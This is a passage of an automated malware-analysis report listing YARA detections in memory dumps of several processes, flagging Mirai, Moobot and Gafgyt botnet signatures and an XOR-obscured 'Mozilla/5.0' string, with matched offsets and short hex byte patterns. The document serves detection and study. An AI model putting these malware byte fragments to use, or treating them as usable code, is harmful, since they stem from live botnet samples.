33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6496.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7388.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7388.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7388.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7388.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7388.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7388.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6836.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7240.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7240.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7240.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6831.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7240.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7240.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7240.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6364.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7243.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7243.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7243.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7243.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7243.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7243.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7394.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7459.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7089.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6565.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6565.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6565.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6565.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6565.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6565.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6371.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6371.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6371.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6371.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6371.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6371.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7401.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
